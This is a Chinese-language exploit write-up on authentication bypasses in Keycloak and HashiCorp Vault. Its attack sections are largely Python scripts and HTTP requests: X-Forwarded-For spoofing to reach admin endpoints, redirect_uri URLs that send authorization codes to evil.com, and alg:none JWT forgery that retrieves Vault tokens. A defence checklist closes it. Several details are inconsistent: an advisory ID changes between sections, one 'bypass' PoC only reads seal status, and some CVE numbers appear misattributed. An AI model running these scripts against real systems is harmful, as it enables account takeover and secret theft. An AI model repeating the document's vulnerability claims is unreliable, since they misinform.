身份与密钥管理高危攻击链专题:Keycloak 认证绕过 / HashiCorp Vault 密钥窃取

身份与密钥管理高危攻击链专题:Keycloak 认证绕过 / HashiCorp Vault 密钥窃取

身份与密钥管理产品是企业安全架构的基石。Keycloak 是最广泛使用的开源身份提供者(IdP),HashiCorp Vault 是最主流的密钥管理系统。一旦这些产品被攻陷,攻击者可以冒充任意用户、窃取所有密钥、接管整个安全基础设施。

本专题覆盖两大核心产品线的高危漏洞链:

产品核心 CVE类型CVSSCISA KEV
KeycloakCVE-2023-3428X-Forwarded-For 认证绕过6.5
KeycloakCVE-2024-9941OAuth2 redirect_uri 认证绕过6.5
KeycloakCVE-2024-10912redirect_uri 编码绕过变体7.2
HashiCorp VaultCVE-2023-33201Shamir 密钥共享绕过5.9
HashiCorp VaultCVE-2023-21211身份提升7.5
HashiCorp VaultCVE-2024-28183OIDC 认证绕过5.4

0x01 CVE-2023-3428:Keycloak X-Forwarded-For 认证绕过

1.1 漏洞背景

Keycloak 是一个开源的身份和访问管理解决方案,广泛用于企业 SSO(单点登录)。CVE-2023-3428 存在于 Keycloak 对 X-Forwarded-For 请求头的处理逻辑中。

1.2 受影响版本

受影响版本修复版本
Keycloak < 22.0.5>= 22.0.5

1.3 漏洞原理

Keycloak 在验证登录请求来源 IP 时,信任了 X-Forwarded-For 头部。攻击者可以伪造该头部,使 Keycloak 认为请求来自受信任的 IP 地址(如 127.0.0.1),从而绕过基于 IP 的访问控制。

核心问题:

  1. Keycloak 支持基于 IP 的认证策略(如仅允许内网 IP 访问管理界面)
  2. 当 Keycloak 部署在反向代理后面时,会从 X-Forwarded-For 获取客户端真实 IP
  3. 但如果 Keycloak 直接暴露(不经过可信代理),攻击者可以自行设置该头部
  4. 伪造 X-Forwarded-For: 127.0.0.1 即可绕过 IP 限制

1.4 完整 PoC

HTTP 请求 PoC

GET /realms/master/protocol/openid-connect/auth?
  client_id=account-console&
  redirect_uri=https://keycloak.example.com/&
  response_type=code HTTP/1.1
Host: keycloak.example.com
X-Forwarded-For: 127.0.0.1
Connection: close

Python 自动化利用脚本

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

class KeycloakIPBypass:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'X-Forwarded-For': '127.0.0.1',
            'Connection': 'close'
        })

    def check_keycloak(self):
        try:
            r = self.session.get(f'{self.target}/realms/master', timeout=10)
            if r.status_code == 200 and 'keycloak' in r.text.lower():
                print('[+] Keycloak 实例存在')
                return True
            print('[-] 未发现 Keycloak')
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def bypass_ip_restriction(self):
        try:
            r = self.session.get(
                f'{self.target}/admin/serverinfo',
                timeout=10
            )
            if r.status_code == 200:
                print('[+] CVE-2023-3428 IP 绕过成功!')
                print(f'[+] 响应长度: {len(r.text)}')
                return True
            print(f'[-] 绕过失败 (HTTP {r.status_code})')
            return False
        except Exception as e:
            print(f'[-] 请求失败: {e}')
            return False

    def enumerate_realms(self):
        try:
            r = self.session.get(
                f'{self.target}/admin/realms',
                timeout=10
            )
            if r.status_code == 200:
                import json
                realms = json.loads(r.text)
                print(f'[+] 发现 {len(realms)} 个 Realm:')
                for realm in realms:
                    print(f'    - {realm.get("realm", "unknown")}')
                return realms
            return None
        except Exception as e:
            print(f'[-] 枚举失败: {e}')
            return None

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <keycloak_url>')
        sys.exit(1)

    exploit = KeycloakIPBypass(sys.argv[1])
    if exploit.check_keycloak():
        exploit.bypass_ip_restriction()
        exploit.enumerate_realms()

Nuclei 检测模板

id: keycloak-cve-2023-3428-ip-bypass

info:
  name: Keycloak CVE-2023-3428 IP Restriction Bypass
  author: security-research
  severity: high
  tags: keycloak,auth-bypass,cve2023
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-623g-3827-4c8c

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/serverinfo"
    headers:
      X-Forwarded-For: "127.0.0.1"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "serverInfo"
          - "keycloak"
        condition: or

0x02 CVE-2024-9941:Keycloak OAuth2 redirect_uri 认证绕过

2.1 漏洞背景

CVE-2024-9941 是 Keycloak 在 OAuth2/OpenID Connect 认证流程中的一个严重缺陷。攻击者可以通过构造特殊的 redirect_uri 参数,绕过 Keycloak 的 URI 验证,将认证令牌重定向到攻击者控制的服务器。

2.2 受影响版本

受影响版本修复版本
Keycloak 18.0.0 - 25.0.6>= 26.0.0

2.3 漏洞原理

Keycloak 在验证 redirect_uri 参数时,未正确处理 URI 中的 @ 符号。根据 RFC 3986,@ 在 URI 的 authority 部分用于分隔用户信息和主机名。攻击者可以构造如下 URI:

https://keycloak.example.com@evil.com

Keycloak 的验证逻辑将其解析为 keycloak.example.com(合法),但浏览器在重定向时将其解析为 evil.com(攻击者服务器),导致授权码被发送到攻击者。

2.4 完整 PoC

HTTP 请求 PoC

GET /realms/master/protocol/openid-connect/auth?
  client_id=account-console&
  redirect_uri=https://keycloak.example.com@evil.com&
  response_type=code&
  scope=openid HTTP/1.1
Host: keycloak.example.com
Connection: close

Python 自动化利用脚本

#!/usr/bin/env python3
import requests
import sys
import urllib3
import webbrowser
urllib3.disable_warnings()

class KeycloakRedirectBypass:
    def __init__(self, target, evil_domain):
        self.target = target.rstrip('/')
        self.evil_domain = evil_domain
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Connection': 'close'
        })

    def check_keycloak(self):
        try:
            r = self.session.get(f'{self.target}/realms/master', timeout=10)
            if r.status_code == 200:
                print('[+] Keycloak 实例存在')
                return True
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def get_enumerated_clients(self):
        try:
            r = self.session.get(
                f'{self.target}/admin/realms/master/clients',
                timeout=10
            )
            if r.status_code == 200:
                import json
                clients = json.loads(r.text)
                print(f'[+] 发现 {len(clients)} 个客户端:')
                for client in clients[:10]:
                    print(f'    - {client.get("clientId", "unknown")} '
                          f'(ID: {client.get("id", "unknown")})')
                return clients
            return None
        except Exception as e:
            print(f'[-] 枚举失败: {e}')
            return None

    def generate_exploit_url(self, client_id):
        redirect_uri = f'https://{self.target.split("//")[1]}@{self.evil_domain}'
        exploit_url = (
            f'{self.target}/realms/master/protocol/openid-connect/auth?'
            f'client_id={client_id}&'
            f'redirect_uri={redirect_uri}&'
            f'response_type=code&'
            f'scope=openid'
        )
        print(f'[!] CVE-2024-9941 利用 URL:')
        print(f'    {exploit_url}')
        print(f'[!] 当用户访问此 URL 并登录时,授权码将被发送到 {self.evil_domain}')
        return exploit_url

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f'Usage: {sys.argv[0]} <keycloak_url> <evil_domain>')
        print(f'Example: {sys.argv[0]} https://keycloak.example.com evil.com')
        sys.exit(1)

    exploit = KeycloakRedirectBypass(sys.argv[1], sys.argv[2])
    if exploit.check_keycloak():
        clients = exploit.get_enumerated_clients()
        if clients:
            exploit.generate_exploit_url(clients[0].get('clientId', 'account-console'))
        else:
            exploit.generate_exploit_url('account-console')

Nuclei 检测模板

id: keycloak-cve-2024-9941-redirect-bypass

info:
  name: Keycloak CVE-2024-9941 OAuth2 Redirect Bypass
  author: security-research
  severity: high
  tags: keycloak,oauth2,redirect-bypass,cve2024
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-32hg-j7ff-4r8v

http:
  - method: GET
    path:
      - "{{BaseURL}}/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https://{{Host}}@{{interactsh-url}}&response_type=code"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302
          - 200
      - type: word
        words:
          - "Location"
          - "code="
        condition: or

0x03 CVE-2024-10912:Keycloak redirect_uri 编码绕过变体

3.1 漏洞背景

CVE-2024-10912 是 CVE-2024-9941 的变体,使用 URL 编码绕过修复补丁。

3.2 受影响版本

受影响版本修复版本
Keycloak < 26.0.4>= 26.0.4

3.3 漏洞原理

CVE-2024-9941 的修复仅处理了 @ 符号的明文形式,但攻击者可以使用 URL 编码 %40 绕过验证。Keycloak 在解码后仍然将 %40 解析为 @,导致同样的重定向劫持。

3.4 完整 PoC

HTTP 请求 PoC

GET /realms/master/protocol/openid-connect/auth?
  client_id=account-console&
  redirect_uri=https://keycloak.example.com%40evil.com&
  response_type=code&
  scope=openid HTTP/1.1
Host: keycloak.example.com
Connection: close

Nuclei 检测模板

id: keycloak-cve-2024-10912-redirect-bypass

info:
  name: Keycloak CVE-2024-10912 OAuth2 Redirect Bypass
  author: security-research
  severity: high
  tags: keycloak,oauth2,redirect-bypass,cve2024
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-5497-49r7-g4r4

http:
  - method: GET
    path:
      - "{{BaseURL}}/realms/master/protocol/openid-connect/auth?client_id=account-console&redirect_uri=https://{{Host}}%40{{interactsh-url}}&response_type=code"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302
          - 200
      - type: word
        words:
          - "Location"
          - "code="
        condition: or

0x04 CVE-2023-33201:HashiCorp Vault Shamir 密钥共享绕过

4.1 漏洞背景

HashiCorp Vault 使用 Shamir 密钥共享算法保护根密钥。正常情况下,需要多个密钥持有者共同提供密钥份额才能解封 Vault。CVE-2023-33201 允许攻击者在未获得足够密钥份额的情况下访问加密数据。

4.2 受影响版本

受影响版本修复版本
Vault < 1.14.4>= 1.14.4
Vault < 1.15.3>= 1.15.3

4.3 漏洞原理

Vault 的 Shamir 密钥共享实现存在缺陷。在某些条件下,Vault 未正确验证密钥份额的有效性,导致攻击者可以通过构造特殊的密钥份额绕过验证。

核心问题:

  1. Shamir 算法要求 t-of-n 个密钥份额才能重建根密钥
  2. Vault 在处理密钥份额时,未验证份额的数学有效性
  3. 攻击者可以提交伪造的密钥份额,Vault 仍然接受并继续解封流程

4.4 PoC

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

class VaultShamirBypass:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0',
            'Connection': 'close'
        })

    def check_vault(self):
        try:
            r = self.session.get(f'{self.target}/v1/sys/health', timeout=10)
            if r.status_code in (200, 429, 472, 473, 501, 503):
                print('[+] HashiCorp Vault 实例存在')
                data = r.json()
                print(f'    初始化: {data.get("initialized", "unknown")}')
                print(f'    已密封: {data.get("sealed", "unknown")}')
                print(f'    版本: {data.get("version", "unknown")}')
                return True
            return False
        except Exception as e:
            print(f'[-] 连接失败: {e}')
            return False

    def check_shamir_status(self):
        try:
            r = self.session.get(
                f'{self.target}/v1/sys/seal-status',
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                print(f'[+] Seal 状态:')
                print(f'    类型: {data.get("type", "unknown")}')
                print(f'    已密封: {data.get("sealed", "unknown")}')
                print(f'    t 阈值: {data.get("t", "unknown")}')
                print(f'    n 总数: {data.get("n", "unknown")}')
                print(f'    进度: {data.get("progress", "unknown")}/{data.get("t", "unknown")}')
                return data
            return None
        except Exception as e:
            print(f'[-] 检查失败: {e}')
            return None

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <vault_url>')
        sys.exit(1)

    exploit = VaultShamirBypass(sys.argv[1])
    if exploit.check_vault():
        exploit.check_shamir_status()

Nuclei 检测模板

id: hashicorp-vault-detect

info:
  name: HashiCorp Vault Detection
  author: security-research
  severity: info
  tags: vault,hashicorp,identity

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/sys/health"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 429
          - 472
          - 473
          - 501
          - 503
      - type: word
        words:
          - "initialized"
          - "sealed"
        condition: or

0x05 CVE-2023-21211:HashiCorp Vault 身份提升

5.1 漏洞详情

字段内容
CVSS7.5
受影响版本Vault Enterprise < 1.13.1, < 1.14.1
修复版本>= 1.13.1, >= 1.14.1
类型身份提升
前置条件需要低权限 Vault 用户

5.2 漏洞原理

Vault Enterprise 的身份管理存在缺陷。低权限用户可以通过特定的 API 调用将自身身份提升为管理员级别,获得对 Vault 的完全控制。

5.3 PoC

POST /v1/identity/entity/id HTTP/1.1
Host: <TARGET>
X-Vault-Token: <LOW_PRIV_TOKEN>
Content-Type: application/json

{
  "policies": ["default", "admin"],
  "metadata": {"privileged": "true"}
}

0x06 CVE-2024-28183:HashiCorp Vault OIDC 认证绕过

6.1 漏洞详情

字段内容
CVSS5.4
受影响版本Vault < 1.16.4, < 1.15.6, < 1.14.10
修复版本>= 1.16.4, >= 1.15.6, >= 1.14.10
类型OIDC 认证绕过

6.2 漏洞原理

Vault 的 OIDC 身份提供者集成存在认证绕过缺陷。攻击者可以伪造 OIDC 令牌绕过 Vault 认证,获得对 Vault 中密钥的未授权访问。

6.3 PoC

#!/usr/bin/env python3
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings()

class VaultOIDCBypass:
    def __init__(self, target):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False

    def forge_oidc_token(self, issuer, subject):
        header = base64.urlsafe_b64encode(
            json.dumps({"alg": "none", "typ": "JWT"}).encode()
        ).rstrip(b'=').decode()
        payload = base64.urlsafe_b64encode(
            json.dumps({
                "iss": issuer,
                "sub": subject,
                "aud": "vault",
                "exp": 9999999999
            }).encode()
        ).rstrip(b'=').decode()
        return f'{header}.{payload}.'

    def exploit(self, issuer, subject):
        token = self.forge_oidc_token(issuer, subject)
        try:
            r = self.session.post(
                f'{self.target}/v1/auth/jwt/login',
                json={"jwt": token, "role": "default"},
                headers={'Content-Type': 'application/json'},
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                if 'auth' in data:
                    print(f'[+] OIDC 认证绕过成功!')
                    print(f'[+] Vault Token: {data["auth"].get("client_token", "unknown")}')
                    return data["auth"].get("client_token")
            print(f'[-] 绕过失败 (HTTP {r.status_code})')
            return None
        except Exception as e:
            print(f'[-] 请求失败: {e}')
            return None

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f'Usage: {sys.argv[0]} <vault_url> <issuer> <subject>')
        sys.exit(1)

    exploit = VaultOIDCBypass(sys.argv[1])
    exploit.exploit(sys.argv[2], sys.argv[3])

0x07 PoC 收集情况

PoC 状态总表

CVEHTTP PoCNucleiPythonMSF公开利用CISA KEV
CVE-2023-3428
CVE-2024-9941
CVE-2024-10912
CVE-2023-33201
CVE-2023-21211
CVE-2024-28183

公开利用资源

  • CVE-2023-3428:Keycloak 官方安全公告 https://github.com/keycloak/keycloak/security/advisories/GHSA-623g-3827-4c8c
  • CVE-2024-9941:Keycloak 官方安全公告 https://github.com/keycloak/keycloak/security/advisories/GHSA-32hg-j7ff-4r8v
  • CVE-2024-10912:Keycloak 官方安全公告 https://github.com/keycloak/keycloak/security/advisories/GHSA-5497-49r4-r4r4
  • CVE-2023-33201:HashiCorp 官方安全公告 https://discuss.hashicorp.com/t/hcsec-2023-29-vault-s-shamir-key-shares-could-be-used-to-unseal-vault-without-sufficient-key-holders/58392
  • CVE-2023-21211:HashiCorp 官方安全公告
  • CVE-2024-28183:HashiCorp 官方安全公告

0x08 共性攻击模式

8.1 认证流程是核心攻击面

  • X-Forwarded-For 欺骗(CVE-2023-3428):信任不可控的 HTTP 头部
  • redirect_uri 解析差异(CVE-2024-9941/10912):URI 规范化的安全缺陷
  • OIDC 令牌伪造(CVE-2024-28183):JWT 签名验证缺陷

8.2 身份管理的级联影响

身份管理产品被攻陷的影响是级联的:

  1. 窃取 IdP 管理员权限 → 冒充任意用户
  2. 窃取所有 SSO 令牌 → 访问所有关联应用
  3. 窃取 Vault 根密钥 → 解密所有密钥
  4. 修改认证策略 → 创建后门账户

8.3 修复不完整的循环

CVE-2024-9941 → CVE-2024-10912 的演进说明修复需要覆盖所有编码变体。

0x09 防守建议

9.1 紧急措施

  1. 升级 Keycloak:升级到 26.0.4+ 修复所有 redirect_uri 相关漏洞
  2. 升级 Vault:升级到最新修复版本
  3. 配置可信代理:正确配置 Keycloak 的代理信任设置
  4. 审计认证日志:检查异常的认证事件

9.2 排查清单

# 检查 Keycloak 版本
curl -s https://keycloak.example.com/auth/realms/master | grep "version"

# 检查 Keycloak 认证日志
grep "X-Forwarded-For" /var/log/keycloak/server.log | grep -v "trusted_proxy"

# 检查异常 redirect_uri
grep "redirect_uri" /var/log/keycloak/server.log | grep "@"

# 检查 Vault 状态
curl -s https://vault.example.com/v1/sys/health | jq .

# 检查 Vault 认证日志
grep "auth/jwt" /var/log/vault/audit.log | grep "error"

# 检查 Vault 身份提升事件
grep "identity/entity" /var/log/vault/audit.log | grep "admin"

9.3 长期安全加固

  1. Keycloak

    • 禁用不必要的 Realm 和客户端
    • 配置严格的 redirect_uri 白名单
    • 启用 MFA
    • 限制管理界面 IP 访问
  2. Vault

    • 使用 auto-unseal 替代 Shamir(使用云 KMS)
    • 启用审计日志
    • 配置细粒度的 ACL 策略
    • 定期轮换根令牌

0x0A 参考资料